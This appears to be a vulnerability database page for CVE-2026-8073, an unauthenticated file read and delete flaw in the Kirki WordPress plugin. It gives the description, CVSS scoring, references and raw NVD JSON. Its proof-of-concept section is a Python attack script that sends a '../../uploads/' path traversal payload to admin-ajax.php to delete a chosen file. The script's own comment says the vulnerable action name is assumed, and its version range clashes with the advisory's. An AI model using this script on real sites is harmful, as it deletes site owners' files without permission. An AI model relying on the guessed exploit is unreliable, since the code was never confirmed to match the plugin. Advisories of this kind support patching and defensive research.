CVE-2026-8073

Description

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation and missing capability check in the 'downloadZIP' function in all versions up to, and including, 6.0.6. This makes it possible for unauthenticated attackers to read and delete arbitrary files limited in the WordPress uploads base directory.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Kirki <= 6.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Kirki WordPress Plugin < 6.0.6 - Unauthenticated Arbitrary File Deletion
# CVE: CVE-2026-8073

def exploit(url, file_to_delete):
    target_url = f"{url}/wp-admin/admin-ajax.php"
    
    # The vulnerable action is often defined in the plugin, assuming 'kirki_download_zip' based on description
    data = {
        'action': 'kirki_download_zip',
        'file': f"../../uploads/{file_to_delete}"  # Path traversal to delete file in uploads
    }
    
    try:
        response = requests.post(target_url, data=data)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {target_url}")
            print(f"[+] Attempted to delete: {file_to_delete}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target_site = "http://example.com"
    target_file = "sensitive_image.jpg"
    exploit(target_site, target_file)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8073/
[4] VulDB https://vuldb.com/cve/CVE-2026-8073
[5] https://plugins.trac.wordpress.org/browser/kirki/tags/6.0.1/includes/API.php#L60
[6] https://plugins.trac.wordpress.org/changeset/3535640/kirki/trunk/includes/API.php
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/b073edd0-3f40-423e-976e-996b29caf66e?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8073", "sourceIdentifier": "[email protected]", "published": "2026-05-19T19:16:51.577", "lastModified": "2026-05-19T21:00:47.093", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation and missing capability check in the 'downloadZIP' function in all versions up to, and including, 6.0.6. This makes it possible for unauthenticated attackers to read and delete arbitrary files limited in the WordPress uploads base directory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kirki/tags/6.0.1/includes/API.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3535640/kirki/trunk/includes/API.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b073edd0-3f40-423e-976e-996b29caf66e?source=cve", "source": "[email protected]"}]}}